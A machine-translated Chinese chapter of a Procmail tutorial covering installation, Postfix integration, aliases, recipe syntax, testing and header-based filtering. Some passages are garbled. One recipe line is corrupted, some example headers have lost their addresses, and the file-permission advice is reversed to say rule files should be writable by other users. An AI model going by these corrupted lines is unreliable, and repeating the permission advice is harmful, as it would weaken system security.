如果您现在花几分钟时间记录一下您已经如何处理邮件、到达的消息类型以及您如何处理它们,那么您将更清楚地了解您可能想要设置的自动流程。 - -一般来说,您可能会收到几类不同的消息。 - -* **邮件列表成员:**来自邮件组或邮件列表的邮件通常很容易从发件人信息或可能从主题行识别。 一些组每隔几分钟发送消息,而其他组可能一个月只发送几条消息。 通常,不同的邮件组项目由不同的信息块标识。 例如,一些组发送消息时使用的“From”地址是真实发送者的地址,而另一些组添加一个假的或系统生成的“From”地址。 例如,有些组可能会自动在“Subject”字段中添加前缀。 -* **自动化系统消息:**您的服务器每天会产生大量的消息。 虽然它们通常只发送给系统管理员或根用户,但首先要做的事情之一是确保您收到邮件的副本,以便随时了解系统状态和事件。 这可以通过编辑 `/etc/mail/aliases`或 `/etc/aliases`文件中的默认目的地来实现,具体取决于系统的设置方式。 这些系统生成的消息几乎总是可以识别为来自少数特定的系统用户 id。 这些是典型的 `root`和 `cron.` -* **未经请求的批量电子邮件:**被识别为垃圾邮件的消息通常被认为不重要。 因此,您可以选择将这些项目移动到一个单独的文件夹,以便以后查看,甚至可以完全丢弃它们。 不建议自动丢弃垃圾邮件,因为任何标识错误的邮件都将永远丢失。 -* **个人信息:**来自客户、同事或朋友的邮件通常被认为是重要的。 因此,它通常会被发送到您的收件箱,让您有机会提供一个更及时的回应。 单个消息更难以用过滤器识别,特别是来自新客户或同事的消息,因此不属于刚才讨论的类别之一的消息应该正常传递。 - -完成本章的工作后,您应该具备了工具和知识,可以开始更详细地检查邮件,并设置一些基本的过滤操作。 - -## 邮件过滤的潜在用途 - -您已经设置的基本邮件系统本身具有一些内置功能,可以根据用户设置处理传入邮件。 默认操作是将邮件转到收件箱; 其他选项是自动将所有邮件转发给另一个用户。 假设您在不同的系统上有多个邮件帐户,并希望所有邮件都集中在一个特定的邮件帐户中。 然后,您可以将该邮件发送到特定的文件,或将其传递给程序或应用,以允许它执行自己的工作。 - -这种设置的缺点是,您的所有邮件都必须遵循一个特定的路径,因此随着时间的推移,已经创建了许多选项来智能过滤邮件。 其中最强大和最受欢迎的是 Procmail。 - -### 过滤和分类邮件 - -Procmail 被设计用于处理系统内用户接收到的各种邮件的处理和过滤任务。 过滤只适用于在系统上拥有帐户的用户——不适用于虚拟用户——可以应用于系统范围内的所有用户,或者单个用户可以添加自己的过滤。 - -对于系统管理员来说,Procmail 提供了一系列的工具,可以将规则和操作应用到系统用户接收到的所有邮件上。 此类行为可能包括出于历史目的或电子邮件内容可能用于某种形式的法律或商业情况的业务中,对所有邮件进行复制。 - -在本书的其他部分,我们将讨论识别电子邮件传播的病毒和垃圾邮件的方法。 Procmail 可以获取这些进程提供的信息,并根据这些进程添加的信息执行操作,例如将包含病毒的所有邮件项存储在一个安全的邮件文件夹中,由系统管理员检查。 - -对于系统用户来说,对收到的邮件执行的最常见操作是将其分类到一些有组织的布局中,以便您可以根据感兴趣的主题区域轻松地找到要查找的项目。 一个典型的组织布局可以是一个类似以下的层次结构: - -```sh -/mailgroups/Procmail -/mailgroups/postfix -/mailgroups/linux -/system/cron -/system/warnings -/system/status -/inbox - -``` - -如果您计划将邮件保存很长一段时间以供历史参考,那么可能值得添加额外的一层或两层来将邮件划分为年和月。 这使得将来更容易归档或清除旧电子邮件,也意味着搜索和排序将更快。 - -### 转发邮件 - -有时,您可能会收到许多很容易识别的电子邮件,这些邮件需要发送到另一个电子邮件地址的另一个用户。 在这种情况下,您可以设置将电子邮件转发到一个或多个其他电子邮件地址的规则,而不是将文件存储在系统中。 当然,您需要小心确保转发不会最终返回给您,从而创建一个永不结束的循环。 - -除了不需要任何手动干预外,以这种方式转发邮件比在邮件客户机软件中手动转发邮件有很大的优势。 Procmail 转发的邮件是透明的,对于收件人来说,邮件似乎是直接从原始发送者那里到达的。 然而,如果它是使用邮件客户端转发的,那么它看起来就好像是由进行转发的人或帐户发送的。 - -当一个地址的所有邮件都需要转发到另一个地址时,更有效的实现方法是使用 Postfix 邮寄系统的别名机制。 Procmail 应该只用于需要对邮件进行智能过滤的情况,这些过滤取决于只能在接收消息时确定的因素。 - -### 处理申请中的邮件 - -有些邮件项适合传递给应用,其中应用对电子邮件进行一些处理。 也许它可以读取内容,然后将信息存储在 bug 跟踪数据库中,或者更新客户活动的公司历史日志。 这些更高级的主题将在下一章中简要介绍。 - -### 致谢及离职/休假回复 - -如果要对某些消息发送自动回复,可以设置一个过滤器或规则来发送此类消息。 当你长时间离开办公室的时间度假,假期,或者疾病,有可能建立一个应答服务通知发送者,这将是一段时间你可以回复他们的邮件,也许给他们选择联系方式或要求他们联系另一个人。 - -仔细组织这样一个特性是很重要的。 你不应该发送这样的回复给一个邮件组或不断地发送重复回复的人,他们已经知道你离开了,但需要给你的信息后,你的返回。 这要求保留消息发送到的地址的日志,以避免重复发送消息。 我们将在下一章研究如何建立这样一个服务。 - -## 文件锁定和完整性 - -在使用 Procmail 的所有工作期间,需要记住的一个重要概念是,总是可能同时到达多个邮件消息,所有邮件消息都在竞相被处理。 因此,很有可能同时将两个或多个消息存储在相同的位置——这是造成灾难的原因。 假设两个物品同时到达的简单示例。 第一个邮件打开存储位置并开始写入消息的内容,然后第二个进程执行同样的操作。 由此可能产生各种各样的结果,从一条消息完全丢失,到两个消息存储在一起且完全无法辨认。 - -为了确保不会发生这种情况,需要观察一个严格的锁定协议,以确保每次只有一个进程可以写入,所有其他应用都需要耐心等待。 Procmail 本身能够强制执行适合于所应用的进程类型的锁定协议,并且在默认情况下,锁定存储邮件的物理文件。 - -在某些情况下,邮件是由应用处理的,Procmail 可以通过使用规则中的标志来指示使用适当的锁定机制。 这将在第 7 章中详细介绍。 - -## Procmail 不适合什么 - -Procmail 可能适合一些非常特定的邮件过滤和处理需求。 在大多数情况下,它的灵活性和能力足以至少在基本水平上执行任务。 这些任务可能是过滤与垃圾邮件相关的电子邮件、过滤掉病毒或运行邮件列表操作。 对于其中的每一个问题,都有许多解决方案,它们超越了仅使用 Procmail 过滤器的能力。 我们将在第 8 章的后面部分研究 SpamAssassin 如何执行垃圾邮件过滤和病毒过滤解决方案。 - -我们已经提到过,Procmail 只适合在 Procmail 运行的系统上拥有帐户的用户。 然而,值得强调的是,Procmail 无法处理发送给虚拟用户的邮件,这些邮件最终会到达另一个系统。 如果有必要为这样的用户处理邮件,那么可以在系统上创建一个真实的用户帐户,然后使用 Procmail 来执行最终转发,作为过滤过程的一部分。 这并不是一种理想的使用方法,因为如果允许 Postfix 系统完成这项工作,那么它比使用 Procmail 要高效得多。 - -# 下载安装 Procmail - -由于该软件现在已经相当成熟,Procmail 通常可以安装在大多数 Linux 发行版上,并且可以通过使用包管理器来安装。 这是推荐的安装 Procmail 的方法。 如果在您的 Linux 发行版中无法通过包管理器获得它,也可以从源代码安装它。 - -## 通过包管理器安装 - -对于 Fedora 用户,如果 Procmail 还没有安装,安装 Procmail 的简单方法是使用 `yum`命令,如下所示: - -```sh -yum install procmail - -``` - -对于基于 debian 的用户,您可以使用以下命令: - -```sh -apt-get install procmail - -``` - -这将确保 Procmail 的二进制文件正确安装在您的系统上,然后您可以决定如何将其集成到 Postfix 系统中。 - -## 从源代码安装 - -Procmail 可以从许多来源获得,但官方发行版是保持的,可以从[www.procmail.org](http://www.procmail.org)获得。 在那里,您可以找到指向许多镜像服务的链接,从这些镜像服务中您可以下载源文件。 本书使用的版本可以从[http://www.procmail.org/procmail-3.22.tar.gz](http://www.procmail.org/procmail-3.22.tar.gz)下载。 - -可以通过 `wget`命令下载,下载方式如下: - -```sh -wget http://www.procmail.org/procmail-3.22.tar.gz - -``` - -下载并解压缩归档文件后,将 `cd`解压缩到目录中,例如 `procmail-3.22`。 在开始构建和安装软件之前,很有必要阅读一下 `INSTALL`和 `README`文档。 - -对于大多数 Linux 系统,可以通过以下步骤减少最简单的安装方法: - -1. 运行 `configure`实用程序,通过运行 `configure`命令来创建正确的构建环境: - - ```sh - $ ./configure - - ``` - -2. 配置脚本完成后,可以运行 `make`命令构建软件可执行文件: - - ```sh - $ make - - ``` - -3. The final step, as `root`, is to copy the executables into the correct position for operation on the system: - - ```sh - # make install - - ``` - -最后一步,将软件安装到 `/usr/local`目录。 - -在所有阶段,您都应该检查流程输出是否有任何重大错误或警告。 - -## 安装选项/注意事项 - -对于大多数遵循说明的人来说,在本书中,您将是您正在管理的机器的系统管理员,并且可能会应用安装来处理系统上所有用户的所有邮件。 如果你不是管理员,或者你希望系统中只有有限的人可以使用 Procmail 的特性,你可以为个人用户安装 Procmail。 - -### 单独安装 - -如果您安装 Procmail 是为了自己使用,或者只为服务器上的少数人安装,最常见的方法是直接从服务器上主目录的 `.forward`文件中调用 Procmail 程序(这个文件需要全世界都可以读)。 - -当使用 Postfix 作为 MTA 时, `.forward`中的条目应该是这样的: - -```sh -"|IFS=' ' && exec /usr/bin/procmail -f- || exit 75 *#username*" - -``` - -引号是必需的,用户名应该代替您的用户名。 其他 MTA 的语法可能不同,因此请参阅 MTA 文档。 - -您还需要在主目录中安装一个 `.procmailrc`文件——这个文件保存 Procmail 将用于过滤和发送电子邮件的规则。 - -### 全系统安装 - -如果您是系统管理员,您可以决定全局安装 Procmail。 这样做的好处是用户不再需要 `.forward`文件。 只要在每个用户的 `HOME`目录中有一个 `.procmailrc`文件就足够了。 在这种情况下,操作是透明的——如果 `HOME`目录中没有 `.procmailrc`文件,那么邮件将照常传递。 【5】 - -可以创建一个全局 `.procmailrc`文件,该文件在用户自己的文件之前生效。 在这种情况下,您需要小心确保配置中包含以下指令,以便使用最终用户的特权而不是根用户的特权来存储消息。 - -```sh -DROPPRIVS=yes - -``` - -这也有助于防止系统安全性中的弱点。 该文件通常以 `/etc/procmailrc`的形式存储在 `/etc`目录中,其目的是在将所有用户添加到系统中时为他们提供一组默认的个人规则。 在骨架帐户中配置一个 `.procmailrc`文件,供系统的 `add user`功能使用,这是值得的。 有关如何设置它的信息,请参阅 Linux 文档。 - -## 与 Postfix 的集成用于系统范围的交付 - -将 Procmail 集成到 Postfix 系统很简单,但是,与任何其他配置更改一样,必须小心。 Postfix 运行用户 ID 为 nobody 的所有外部命令,比如 Procmail。 因此,它将无法向用户 `root`发送邮件。 为了确保仍然收到重要的系统消息,您应该确保配置了一个别名,以便将所有打算发送给根用户的邮件转发给将读取邮箱的真实用户。 - -### 创建系统帐户别名 - -要为根用户创建别名,必须编辑适当的 `alias`文件,通常可以在 `/etc/aliases or /etc/mail/aliases`中找到。 - -如果您无法找到该文件,使用以下命令: - -```sh -postconf alias_maps - -``` - -别名文件中的条目应该如下所示,在冒号(:)和电子邮件地址的开头之间只有一个制表符,并且没有尾随空格: - -```sh -root: user@domain.com - -``` - -创建文本条目之后,应该运行 `newaliases`命令将文本文件转换为一个数据库文件,以便 Postfix 读取。 - -值得为可能接收邮件的任何其他系统帐户添加其他别名。 例如,你可能会得到一个类似以下的 `aliases`文件: - -```sh -# /etc/aliases -postmaster: root -nobody: root -hostmaster: root -usenet: root -news: root -webmaster: root -www: root -ftp: root -abuse: root -noc: root -security: root -root: user@example.com -clamav: root - -``` - -### 添加 Procmail 到 Postfix 配置 - -对于 Procmail 在系统范围内传递邮件,有必要修改 Postfix `main.cf`文件,以指定负责实际传递的应用。 - -编辑 `/etc/postfix/main.cf`文件,添加如下一行: - -```sh -mailbox_command = /path/to/procmail - -``` - -当进行了更改后,您需要使用以下命令指示 Postfix 文件已经更改: - -```sh -postfix reload - -``` - -### 后缀提供的环境变量 - -后缀通过使用一些环境变量导出关于邮件包的信息。 通过替换所有对 shell 有特殊意义的字符(包括下划线字符中的空白),修改变量以避免任何 shell 扩展问题。 下面是导出的变量列表及其含义: - - -| - -变量 - - | - -意义 - - | -| --- | --- | -| `DOMAIN` | 正文右边的 `@`在收信人地址中 | -| `EXTENSION` | 可选 address-extension 部分 | -| `HOME` | 收件人的主目录 | -| `LOCAL` | 收件人地址中 `@`左边的文本,例如 `$USER+$EXTENSION` | -| `LOGNAME` | 接收方的用户名 | -| `RECIPIENT` | 整个收信人地址 `$LOCAL@$DOMAIN` | -| `SENDER` | 完整的发送地址 | -| `SHELL` | 收件人的登录 shell | - -# 基本操作 - -当一个邮件项到达并传递给 Procmail 程序时,操作序列遵循一组格式。 它首先加载各种配置文件,以获取为特定用户设置的规则。 然后,这些规则依次对消息进行测试,当形成合适的匹配时,应用该规则。 一些规则在完成时终止,而其他规则返回控制,以便可以根据潜在处理的剩余规则评估消息。 - -## 配置文件 - -系统范围的配置通常在 `/etc/procmailrc`中进行,而个人配置文件通常存储在用户的主目录中,称为 `.procmailrc`。 各个规则可以存储在单独的文件中,也可以组合成多个文件,然后由主 `.procmailrc`文件作为邮件过滤过程的一部分包含进来。 通常,这些文件将存储在主目录的 `Procmail`子目录中。 - -### 文件格式 - -配置文件中的条目按照基本布局以简单的文本格式生成。 注释是允许的,并由以下的文本组成 `#`字符; 空行被简单地忽略。 规则本身不需要以任何特定的格式进行布局,但是为了便于维护和可读性,最好使用一致和简单的格式编写规则。 - -### 配置文件剖析 - -Procmail 配置文件的内容可以分为三个主要部分: - -* **Variables:** Information necessary for Procmail to do its work may be assigned to variables within the configuration file in a manner similar to how they are used in shell programming. Some of the variables are obtained from the shell environment that Procmail is running in, others are created by Procmail itself for use within the scripts, while other variables can be assigned within the script itself. An additional use for variables is to set flags as to how Procmail itself should operate. - - 在大多数脚本中可以设置一些有用的变量: - - ```sh - PATH=/usr/bin: /usr/local/bin:. - MAILDIR=$HOME/Maildir # Make sure it exists - DEFAULT=$MAILDIR/ # Trailing / indicates maildir format mailbox - LOGFILE=$HOME/procmail.log - LOG=" - " - VERBOSE=yes - - ``` - - * 变量 `VERBOSE`用于影响所执行的日志记录级别,而 `LOG`变量中嵌入的 `NEWLINE`是有意为之,目的是使日志文件更易于阅读。 - * 第 7 章还包括一个简短的脚本,它显示 Procmail 中分配的所有变量。 -* **注释:**一个 `#`字符和以下所有字符直到 `NEWLINE`将被忽略。 这不适用于不能注释的条件行。 空行被忽略,可以与注释一起使用,以记录配置并提高可读性。 你应该评论你的规则,因为你写的规则可能在 6 个月的时间里没有检查手册就无法解释。 -* **Rules or recipes:** Recipe is a common name for rules we create. A line starting with a colon (:) marks the beginning of a recipe. A recipe has the following format: - - ```sh - :0 [flags] [ : [locallockfile] ] - - - - ``` - - `:0`是早期 Procmail 版本遗留下来的。 `:`后面的数字最初是用来表示规则中包含的操作数量,现在 Procmail 解析器会自动计算出这个数字。 然而,出于兼容性的目的,`:0`是必需的。 - -# 分析简单的规则 - -假设我们从订阅的特定邮件组接收大量邮件。 这些邮件很有趣,但并不重要,我们更喜欢在闲暇时阅读它。 主题是“神秘的怪物”,所有从这个邮件列表发出的电子邮件都有一个“收件人”地址`<[mythical@monsters.com](mailto:mythical@monsters.com)>`。 我们决定为这些邮件创建一个特殊的文件夹,并将所有邮件复制到这个文件夹中。 这是一个简单的规则,你可以很容易地复制和修改,以便将来处理你自己的邮件。 - -## 规则结构 - -下面是一个从用户的主目录中获取的非常简单的 `.procmail`文件的示例副本,目的是解释 Procmail 配置的一些基本特性。 规则本身被设计为将发送到某个电子邮件地址`<[mythical@monsters.com](mailto:mythical@monsters.com)>`的所有邮件存储在一个名为 `monsters`的特殊文件夹中。 大多数邮件会发送给包括你自己在内的许多人,“收件人”地址可以提供邮件内容的有用指示。 例如,邮件可能被发送到位于 `info@yourcompany.com` 的分发列表,您需要对该电子邮件进行优先级排序。 - -花一些时间阅读文件的内容,然后我们将依次分解每个部分并分析其功能。 - -```sh -# -# Here we assign variables -# -PATH=/usr/bin: /usr/local/bin:. -MAILDIR=$HOME/Maildir # Make sure it exists -DEFAULT=$MAILDIR/ # Trailing / indicates maildir format mailbox -LOGFILE=$HOME/procmail.log -LOG=" -" -VERBOSE=yes -# -# This is the only rule within the file -# -:0: # Anything to mythical@monsters.com -* ^TO_ mythical@monsters.com -monsters/ # will go to monsters folder. Note the trailing / - -``` - -### 变量分析 - -要详细研究这个文件,我们可以从定义语句开始,在这些语句中,变量被分配了特定的值。 这些值将覆盖 Procmail 已经分配的任何值。 通过执行这个手动分配,我们可以确保路径针对脚本操作进行了优化,并且我们可以确定正在使用的值,而不是假设 Procmail 可能分配的值。 - -```sh -PATH=/usr/bin: /usr/local/bin:. -MAILDIR=$HOME/Maildir -DEFAULT=$MAILDIR/ -LOGFILE=$HOME/procmail.log -LOG=" -" -VERBOSE=yes - -``` - -这些设置指令给 Procmail 定义了一些基本参数: - -* `PATH`指令指定了 Procmail 在哪里可以找到它可能需要执行的任何程序。 -* `MAILDIR`指定将存储所有邮件项的目录。 这个目录应该存在。 -* `DEFAULT`定义了如果没有为单个规则定义特定位置,邮件将存储在何处。 按照 Postfix 章节中关于选择邮箱格式的建议,末尾的/(斜杠)向 Procmail 表明它应该以 Maildir 格式发送邮件。 -* `LOGFILE`是存储所有跟踪信息的文件,这样我们就可以看到发生了什么。 - -### 规则分析 - -接下来我们有以 `:0`开始的食谱说明。 第二个 `:`指示 Procmail 创建一个锁文件,以确保每次只向该文件写入一条邮件消息,以避免消息存储的损坏。 单行规则可以分解如下: - -* `*:`所有的规则行都以 `*`开头。 这就是 Procmail 知道它们是规则的方式。 每个配方可能有一个或多个规则。 -* `^TO_:`这是一个特殊的 Procmail 内置宏,它搜索大多数可以包含您的地址的报头,例如 `To:, Apparently-To:, Cc:, Resent-To:`,等等,如果它找到了地址`<[mythical@monsters.com.](mailto:mythical@monsters.com.)>`就会匹配。 - -最后一行是操作行,默认情况下,它指定了 `MAILDIR`变量指定的目录中的一个邮件文件夹。 - -### 提示 - -Maildir 格式的邮箱的文件夹名称上必须有尾随斜杠,否则邮件将以 unix mbox 格式发送,这是快递 imap 不支持的。 如果使用 IMAP,文件夹名称也应该以。 (句点),因为句点字符被指定为层次分隔符。 - -# 创建和测试规则 - -Procmail 允许您将规则和食谱组织到多个文件中,然后依次处理每个文件。 这使得管理规则和在需求变化时开关规则变得更加容易。 对于第一个测试用例,我们将创建一个用于测试的特殊规则集,并将所有规则组织在主目录的子目录中。 通常,子目录称为 `Procmail`,但您可以使用自己的名称。 - -我们将从一个简单的个人规则开始,并针对单个用户进行测试。 在本章的后面,当我们介绍了所有的基础知识,并且您熟悉了创建和设置规则的过程后,我们将展示如何开始将规则应用到所有系统用户。 - -## “hello world”示例 - -几乎所有关于编程的书籍都是从一个非常简单的“hello world”示例开始的,以展示编程语言的基础知识。 在本例中,我们将创建一个简单的个人规则,该规则处理用户收到的所有电子邮件,并检查主题是否包含单词“hello world”。 如果邮件主题包含这些特定的单词,则邮件消息将存储在一个特殊的文件夹中。 如果它不包含这些神奇的单词,邮件将存储在用户的正常收件箱中。 - -## 创建 rc.testing - -当您在生产环境中工作时,一定要确保正在编写和测试的规则不会干扰您的日常邮件活动。 控制这种情况的一种方法是创建一个专门用于测试新规则的特殊文件,并且只在实际执行测试工作时将其包含在 Procmail 处理中。 当您对规则操作感到满意时,您可以将它移动到它自己的特定文件中,或者将它添加到其他类似或相关的规则中。 在本例中,我们将为测试规则创建一个名为 `rc.testing`的新文件。 在 `$HOME/Procmail`目录下,使用您喜欢的编辑器创建文件 `rc.testing`并输入以下行: - -```sh -# LOGFILE should be specified early in the file so -# everything after it is logged -LOGFILE=$PMDIR/pmlog -# To insert a blank line between each message's log entry, -# Use the following LOG entry -LOG=" -" -# Set to yes when debugging; VERBOSE default is no -VERBOSE=yes -# -# Simple test recipes -# -:0: -* ^Subject:.*hello world -TEST-HelloWorld - -``` - -到目前为止,您可能已经开始认识到规则的结构。 这一项的分解如下。 - -前几行设置了适用于我们的测试环境的变量。 因为它们是在测试脚本中分配的,所以它们只会在脚本被包含在处理中时应用。 当然,一旦我们排除了测试脚本,测试设置就不会被应用。 - -匹配所有以字符串 `Subject:`开头且包含字符串 `hello world`的行。 我们故意不使用像 `test`这样的字符串,因为少数系统可以剥离出看起来是测试消息的消息。 记住,Procmail 的默认操作是独立于情况的,因此我们不需要测试所有的变体,比如 `Hello World.` - -最后一行指示 Procmail 将输出存储在 `TEST-HelloWorld`文件中。 - -在 `$HOME/Procmail`目录下创建 `testmail.txt`,使用您喜欢的编辑器创建文件 `testmail.txt`,并输入以下行: - -```sh -From: me@example.com -To: me@example.com (self test) -Subject: My Hello World Test -BODY OF TEST MESSAGE SEPARATED BY EMPTY LINE - -``` - -与包含候选字符串的 `rc.testing`规则相比,主题行是大小写混合的,以便演示大小写不敏感匹配。 - -## 执行脚本的静态测试 - -在 `Procmail`目录中运行以下命令将生成调试输出: - -```sh -formail -s procmail -m PMDIR=. rc.testing < testmail.txt - -``` - -### 注意事项 - -在静态测试期间,我们将前面命令中的变量`PMDIR`定义为当前目录。 - -运行该命令后,您可以查看日志文件中的错误消息。 如果一切正常,您将看到文件 `TEST-HelloWorld`的创建,其中包含 `testmail.txt`的内容,并在日志中显示以下输出。 - -```sh -procmail: [9060] Mon Jun 8 17:52:31 2009 -procmail: Match on "^Subject:.*hello world" -procmail: Locking "TEST-HelloWorld.lock" -procmail: Assigning "LASTFOLDER=TEST-HelloWorld" -procmail: Opening "TEST-HelloWorld" -procmail: Acquiring kernel-lock -procmail: Unlocking "TEST-HelloWorld.lock" -From me@example.com Mon Jun 8 17:52:31 2009 -Subject: My Hello World Test -Folder: TEST-HelloWorld 194 - -``` - -如果 `Subject`行不包含相关匹配短语,您可能会在日志中看到以下输出: - -```sh -procmail: [9073] Mon Jun 8 17:53:47 2009 -procmail: No match on "^Subject:.*hello world" -From me@example.com Mon Jun 8 17:53:47 2009 -Subject: My Goodbye World Test -Folder: **Bounced** 0 - -``` - -## 配置 Procmail 处理 rc.testing - -您需要编辑您的 `.procmailrc`配置文件。 这里可能已经有一些条目了,所以在进行任何更改之前,有必要对文件进行备份。 确保以下行包含在文件中: - -```sh -# Directory for storing procmail configuration and log files -PMDIR=$HOME/Procmail -# Load specific rule sets -INCLUDERC=$PMDIR/rc.testing - -``` - -有些行被故意用 `#`注释掉了。 如果我们以后需要做一些更详细的调试,这些可能是必需的。 - -## 测试设置 - -使用以下命令,给自己发送两条消息: - -```sh -echo "test message" | mail -s "hello world" $USER - -``` - -标题行中应该包含字符串 `hello world`,而不应该包含这个特定的字符串。 - -检查邮件时,您应该发现主题中包含关键字的邮件已存储在 `TEST-HelloWorld`邮件文件夹中,而其他邮件则保留在正常邮件收件箱中。 - -# 配置调试 - -如果这一切都正确地工作了—恭喜! 你正在整理你的邮件。 - -如果它没有像预期的那样工作,我们可以做一些简单的事情来找出问题所在。 - -## 检查脚本中的拼写错误 - -与任何编程过程一样,如果一开始它不起作用,检查代码以确保在编辑阶段没有引入明显的错误。 - -## 查看日志文件中的错误消息 - -如果没有突出显示任何内容,可以查看 Procmail 创建的日志文件。 在本例中,日志文件名为 `~/Procmail`目录下的 `pmlog`。 要查看最后几行,请使用以下命令: - -```sh -tail ~/Procmail/pmlog - -``` - -在下面的例子中,由于缺少了 `:0`,所以规则行被跳过: - -```sh -* ^Subject:.*hello world -TEST-HelloWorld - -``` - -这会产生以下错误: - -```sh -procmail: [10311] Mon Jun 8 18:21:34 2009 -procmail: Skipped "* ^Subject:.* hello world" -procmail: Skipped "TEST" -procmail: Skipped "-HelloWorld" - -``` - -这里没有遵循规则 `:0:`的存储指令 - -```sh -:0: -* ^Subject:.*hello world - -``` - -这会产生以下错误: - -```sh -procmail: [10356] Mon Jun 8 18:23:36 2009 -procmail: Match on "^Subject:.* hello world" -procmail: Incomplete recipe - -``` - -## 检查文件和目录权限 - -使用 `ls`命令检查 `~/.procmailrc`、 `~/Procmail/*`文件和 `~/ home`目录的权限。 规则文件应该由所有者以外的用户可写,并且应该具有类似以下权限: - -```sh -rw-r--r— - -``` - -主目录应该具有如下权限,其中 `?`可以是 `r`或: - -```sh -drwx?-x?-x - -``` - -## 打开全日志 - -当您创建更复杂的规则时,或者如果您仍然有问题,您需要启用 Procmail 的**全日志**功能。 为此,您需要从 `~/.procmailrc`文件中的行中删除注释 `#`,以便按如下方式启用它们: - -```sh -# Directory for storing procmail configuration and log files -PMDIR=$HOME/Procmail -# LOGFILE should be specified early in the file so -# everything after it is logged -LOGFILE=$PMDIR/pmlog -# To insert a blank line between each message's log entry, -# add a return between the quotes (this is helpful for debugging) -LOG=" -" -# Set to yes when debugging; VERBOSE default is no -VERBOSE=yes -# Load specific rule sets -INCLUDERC=$PMDIR/rc.testing - -``` - -现在重新发送这两个示例消息,并检查日志文件中的输出信息。 日志文件应该指出需要研究的一些问题领域。 - -## 采取措施避免灾难 - -以下在 `.procmailrc`文件中插入的配方将确保最后收到的 32 条消息都存储在 `backup`目录中,确保在配方包含错误或有意外副作用的情况下,有价值的邮件不会丢失。 - -```sh -# Create a backup cache of 32 most recent messages in case of mistakes. -# For this to work, you must first create the directory -# ${MAILDIR}/backup. -:0 c -backup -:0 ic -| cd backup && rm -f dummy `ls -t msg.* | sed -e 1,32d` - -``` - -现在,我们将假设这是有效的,在下一章中,我们将详细分析配方,看看它到底是如何工作的和它做了什么。 - -# 理解电子邮件结构 - -为了充分利用 Procmail 的功能,有必要花些时间了解典型电子邮件消息的基本结构。 随着时间的推移,结构变得越来越复杂,但它仍然可以被分解成两个离散的块。 - -## 消息正文 - -消息体与消息头之间用一个空行分隔(所有消息头必须在连续的行上,因为在空行之后的任何消息头将被认为是消息体的一部分)。 - -消息体本身可以是通常由简单 ASCII 字符组成的简单文本消息,也可以是使用称为**MIME**的编码部分的复杂组合。 这使得电子邮件能够传输所有形式的数据,从简单的文本、HTML 或其他格式化的页面,并包括信息,如附件或嵌入式对象,如图像。 MIME 编码的讨论超出了本书的范围,并且对于您可能在邮件过滤中遇到的大多数流程来说,MIME 编码不是必需的。 - -如果您决定尝试处理消息体中保存的数据,那么一定要记住,您看到的邮件程序的输出可能与原始邮件消息中传输的实际数据非常不同。 - -## 邮件标题 - -邮件头是电子邮件中包含的允许各种邮件组件发送和处理消息的标记。 邮件头的典型格式是简单的两部分结构,由一个以 `:`结尾的关键字组成,然后是分配给该关键字的信息。 邮件头提供了大量信息,包括如何创建电子邮件、使用何种邮件程序创建消息、消息来自谁、应该发送给谁以及如何到达您的邮箱。 - -以下邮件标头与从 `freelancers.net`众多邮件列表中的一个收到的电子邮件有关。 电子邮件最有用的标识特性是主题行,因为大多数其他邮件组对讨论的其他标题使用相同的值。 - -![E-mail headers](img/8648_06_01.jpg) - -## 头部结构 - -前面的示例包含大量的标头,这些标头是由邮件从发件人到收件人的过程中经过的许多进程插入的。 然而,有少量的键头对于处理电子邮件非常有用,并且在大量的菜谱中使用。 - -## 头球的官方定义 - -所有不以 `X-`开头的标题都由相关的标准权威机构指定特定的功能。 关于它们的更多信息可以在**RFC(征求意见)822**文档[http://www.ietf.org/rfc/rfc0822.txt](http://www.ietf.org/rfc/rfc0822.txt)中找到。 【5】 - -以 `X-`开头的头是用户定义的,只适用于特定的应用。 然而,有些应用可能与其他应用使用相同的头标记,但原因不同,所提供的信息的格式也不同。 - -# 规则集示例 - -为了帮助您理解 Procmail 规则的工作方式,我们将介绍几个简单但非常有用的规则集的设计和设置。 当您发现过滤传入邮件的更特定需求时,这将帮助您开始设计自己的规则集。 - -所有这些示例都基于从 Freelancers 邮件列表(之前的示例标题取自该列表)接收到的邮件消息。 它们都得到了相同的结果,再次证明了编程问题没有一个正确的解决方案。 - -## From header - -这个标题解释了谁是电子邮件的发起者。 可以使用各种格式,并由人类可读和计算机可读的信息项的各种组合形成。 当您查看了几封电子邮件后,您将开始看到不同的邮件系统和软件可以使用的各种模式。 这个标题的实际格式并不重要,因为您需要生成匹配特定电子邮件的规则。 - -```sh -From: Do Not Reply - -``` - -## 返回路径头 - -该字段由将消息发送给其接收者的最终传输系统添加。 该字段旨在包含关于地址和返回到消息的发起者的路由的确定信息。 - -```sh -Return-Path: - -``` - -### Return-Path 过滤 - -大多数邮件列表使用 `Return-Path`标题: - -```sh -:0: -* ^Return-Path: -freelancers// - -``` - -这是一种方便地过滤邮件列表项的有用方法。 在这里, `^`字符执行一个特殊的功能,指示 Procmail 从新行开始开始匹配过程。 这意味着包含嵌入在行中间的短语的行不匹配。 Procmail 的默认操作是,如果在标头或邮件正文的任何地方找到字符串,则返回一个匹配项,这取决于将脚本设置为搜索的位置。 - -## To 和 Cc 标题 - -邮件通常发送给电子邮件“收件人:”或“抄送:”标题中列出的一个或多个人员。 像 From:头一样,这些地址可能有几种格式。 这些标头对所有邮件收件人都可见,并允许您查看列出的所有公共收件人。 - -```sh -To:projects@adepteo.net - -``` - -还有第三种收件人头,它不像“To:”和“Cc:”那么常见,但在批量邮件中经常使用。 这是密件抄送:(盲抄送)。 不幸的是,顾名思义,这是一个盲头,因此信息不包含在实际的头信息中,因此无法进行处理。 - -### 过滤 by To 或 Cc - -Procmail 有许多特殊的内置宏,可以用来标识邮件项。 特殊规则 `^TO_`用于搜索所有可用的目的地标头。 规则必须准确地写成四个字符,不带空格,且 `T`和 `O`都要大写。 要匹配的短语必须紧跟在 `_`之后,不能有空格。 - -```sh -:0: -rule setsCc header, filtering by* ^TO_do-not-reply@freelancers.net -freelancers/ - -``` - -## 主题标题 - -主题行通常包含在电子邮件的标题中,除非发件人决定完全不包含主题行。 - -**主题:FN-PROJECTS 自由网页设计师** - -在本例中,发送到这个特定列表的所有邮件项目都以短语“FN-PROJECTS”开头,因此有时适合进行过滤。 - -### 按主题过滤 - -当邮件列表向主题行添加前缀时,此前缀可能适合于过滤: - -```sh -:0: -* ^Subject: FN-PROJECTS -freelancers// - -``` - -# 全系统规则 - -现在,我们已经介绍了设置规则、分析电子邮件的所有基础知识,并大致了解了所有处理操作的交互方式,接下来我们将查看两个系统范围的过滤、测试和操作示例。 - -## 删除可执行文件 - -在第 9 